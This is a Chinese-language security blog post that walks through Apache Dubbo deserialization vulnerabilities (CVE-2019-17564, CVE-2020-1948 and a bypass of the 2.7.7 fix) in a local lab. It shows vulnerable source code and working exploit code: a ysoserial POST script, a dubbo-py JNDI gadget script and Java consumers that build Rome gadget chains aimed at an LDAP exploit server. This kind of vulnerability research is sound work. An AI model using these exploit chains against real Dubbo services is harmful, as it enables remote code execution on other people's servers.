前言

最近看到的 Dubbo 反序列化漏洞,以前没有见过这个框架,现在顺便总结一下最近的几个反序列化洞。


Dubbo

Dubbo 是一个分布式服务框架远程调用框架,类似 Java 的 RMI 远程方法调用,需要进行跨 JVM 的远程网络通信,所以就要用到序列化和反序列化。而 Dubbo 中有多种序列化方式,有的序列化方式在反序列化收到的数据的时候,就容易受到反序列化攻击。

CVE-2019-17564

环境搭建

GitHub 上面拖一个 demo,然后 IDEA 打开使用 HTTP 协议的 dubbo-samples-http 文件夹,修改一下 pom.xml 里面的 Dubbo 版本,再加入一个可以利用的 Gadget:

<dubbo.version>2.7.3</dubbo.version>
...
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

再修改一下 http-provider.xml 里面的 zookeeper 地址,这里我将 zookeeper 开在虚拟机的 docker 里面,所以这里是虚拟机地址:

<dubbo:registry address="zookeeper://${zookeeper.address:192.168.111.128}:2181"/>

然后在虚拟机开一个 zookeeper 容器:

docker pull zookeeper
docker run -id --name zookeeper -p 2181:2181 zookeeper

然后 Dubbo 的 HttpProvider 就可以开起来了。

漏洞原理

根据漏洞描述:

Unsafe deserialization occurs within a Dubbo application which has HTTPremoting enabled. An attacker may submit a POST request with a Java object init to completely compromise a Provider instance of Apache Dubbo, if thisinstance enables HTTP.

简单发一个 POST 请求,可以看到错误的调用栈:

java.io.StreamCorruptedException: invalid stream header: 64617461
java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:899)
java.io.ObjectInputStream.<init>(ObjectInputStream.java:357)
org.springframework.core.ConfigurableObjectInputStream.<init>(ConfigurableObjectInputStream.java:63)
org.springframework.remoting.rmi.CodebaseAwareObjectInputStream.<init>(CodebaseAwareObjectInputStream.java:97)
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.createObjectInputStream(RemoteInvocationSerializingExporter.java:125)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:119)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79)
org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216)
org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61)
javax.servlet.http.HttpServlet.service(HttpServlet.java:790)

因为输入的不是 Java 序列化字节码,所以会因为无法反序列化而报错,追踪调用栈,我们定位到 HttpInvokerServiceExporter 类的 readRemoteInvocation 方法:

protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {

    ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
    try {
        return doReadRemoteInvocation(ois);
    }
    finally {
        ois.close();
    }
}

可以看到从输入中创建一个 ObjectInputStream 对象,然后在 doReadRemoteInvocation 方法中:

protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {

    Object obj = ois.readObject();
    if (!(obj instanceof RemoteInvocation)) {
        throw new RemoteException("Deserialized object needs to be assignable to type [" +
            RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
    }
    return (RemoteInvocation) obj;
}

进行了反序列化。

漏洞利用

很简单,POST 一个 ysoserial 生成的 payload 就好了:

# -*- coding:utf8 -*-
import requests
import base64

url = " http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService"
data = base64.b64decode("rO...Hg=")
requests.post(url, data=data)

CVE-2020-1948

环境搭建

GItHub 上面拖一个 Dubbo 2.7.6 版本的 demo,然后用 IDEA 打开 dubbo-spring-boot-samples 文件夹,运行 DubboAutoConfigurationProviderBootstrap 类,就可以把环境开起来了。

然后给这个项目里的 pom.xml,即 dubbo-spring-boot-samples\auto-configure-samples\provider-sample\pom.xml 加上 rome 依赖:

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

漏洞原理

这个漏洞有两个触发点,第一个没什么好说的,就是普通的 Hessian 反序列化攻击(就是 Dubbo 默认使用的序列化方式),Dubbo 会反序列化传输来的方法参数:

args = new Object[pts.length];
for (int i = 0; i < args.length; i++) {
    try {
        args[i] = in.readObject(pts[i]);
    } catch (Exception e) {
        if (log.isWarnEnabled()) {
            log.warn("Decode argument failed: " + e.getMessage(), e);
        }
    }
}

另一个触发点比较有意思,利用的是打印错误信息触发的 toString,Dubbo 在找不到注册的 service 就会打印错误信息:

DubboExporter<?> exporter = (DubboExporter<?>) exporterMap.get(serviceKey);

if (exporter == null) {
    throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
}

这里的 inv 就是 DecodeableRpcInvocation 类型的对象,里面存放了远程方法调用需要的数据,比如反序列化后的 arguments,这里会隐式调用它的 toString 方法,也就是它的父类 RpcInvocation 的 toString 方法:

@Override
public String toString() {
    return "RpcInvocation [methodName=" + methodName + ", parameterTypes="
        + Arrays.toString(parameterTypes) + ", arguments=" + Arrays.toString(arguments)
        + ", attachments=" + attachments + "]";
}

也就是说会调用 arguments 对象的 toString,就可以作为反序列化链的入口,比如接上 Rome 依赖中的 toStringBean 触发 JNDI 注入。

顺带一提的是,在高一点版本的 Dubbo(2.7.6)中,这个入口点已经被修复了,打印错误的代码变成了:

DubboExporter<?> exporter = (DubboExporter<?>) exporterMap.get(serviceKey);

if (exporter == null) {
    throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + getInvocationWithoutData(inv));
}

没有直接调用 inv 的 toString 方法,而是调用 getInvocationWithoutData 方法来获取数据:

private Invocation getInvocationWithoutData(Invocation invocation) {
    if (logger.isDebugEnabled()) {
        return invocation;
    }
    if (invocation instanceof RpcInvocation) {
        RpcInvocation rpcInvocation = (RpcInvocation) invocation;
        rpcInvocation.setArguments(null);
        return rpcInvocation;
    }
    return invocation;
}

把 arguments 置空了,这个入口点也就无法使用了,除非配置了 debug 模式。

漏洞利用

第二种利用方式可以直接使用 python 的 dubbo-py 库,参考 ruilin 师傅给出的 exp:

# -*- coding:utf8 -*-
from dubbo.codec.hessian2 import new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl = new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:1389/Exploit",
      strMatchColumns=["foo"]
)
JdbcRowSetImplClass = new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean = new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
    service_name='cn.rui0',
    method_name='rce',
    service_version="1.0.0",
    args=[toStringBean]
)

第一种的利用就比较麻烦了,因为 Rome 的 HashMap 类型要用 dubbo-py 来构造比较复杂,利用方式跟 Java RMI 客户端攻击服务端相似,不过不需要在意服务函数的参数类型,因为它的函数调用是在反序列化完成之后进行的。

所以利用的时候可以像参考文章里面那样,通过 wireshark 抓包改包来完成,也可以自己改一改它的接口(将方法参数类型改为 Object)和消费者类:

@EnableAutoConfiguration
public class DubboAutoConfigurationConsumerBootstrap {

    private final Logger logger = LoggerFactory.getLogger(getClass());

    @Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345")
    private DemoService demoService;

    private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }

    private Object getPoc() throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap hashMap = new HashMap<>(1);
        hashMap.put("replacement", "Twings");
        Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
        Object hashMapNode = hashMapTable[1];
        setFieldValue(hashMapNode, "key", equalsBean);

        return hashMap;
    }

    public static void main(String[] args) {
        SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close();
    }

    @Bean
    public ApplicationRunner runner() throws Exception {
        String result = demoService.sayHello(getPoc());
        System.out.println(result);
        return args -> logger.info(result);
    }
}

一发入魂。

2.7.7 反序列化漏洞绕过

2.7.7 在反序列化参数的时候加多了一个验证:

if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
    if (!RpcUtils.isGenericCall(path, getMethodName()) && !RpcUtils.isEcho(path, getMethodName())) {
        throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName());
    }
    pts = ReflectUtils.desc2classArray(desc);
}

这里的 pts 是一个参数类型匹配的机制,用来检测传输的参数类型跟本地配置的是否一致,如果不一致则会检测调用方法名,如果要调用的方法不是 $invoke、$invokeAsync 或者 $echo 就会直接报错退出。

其实这个验证压根不影响反序列化漏洞的利用,因为反序列化在函数函数调用之前就已经进行了,所以我们可以通过控制方法名来进行反序列化攻击,修改接口中的方法名为 $echo($invoke 会有消费者这边的问题),然后修改消费者类:

@EnableAutoConfiguration
public class DubboAutoConfigurationConsumerBootstrap {

    private final Logger logger = LoggerFactory.getLogger(getClass());

    @DubboReference(
            version = "1.0.0",
            url = "dubbo://127.0.0.1:12345",
            timeout = 100
    )
    private DemoService demoService;

    private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }

    private Object getPoc() throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap hashMap = new HashMap<>(1);
        hashMap.put("replacement", "Twings");
        Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
        Object hashMapNode = hashMapTable[1];
        setFieldValue(hashMapNode, "key", equalsBean);

        return hashMap;
    }

    public static void main(String[] args) {
        SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close();
    }

    @Bean
    public ApplicationRunner runner() throws Exception {
        return args -> logger.info(demoService.$echo(getPoc()));
    }
}

同样一发入魂。


参考文章:

Dubbo序列化与反序列化

CVE-2020-1948打印错误触发toString-1

CVE-2020-1948打印错误触发toString-2

CVE-2020-1948的两种触发方式


Web Java 反序列化 Dubbo Hessian

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-001
Hessian反序列化漏洞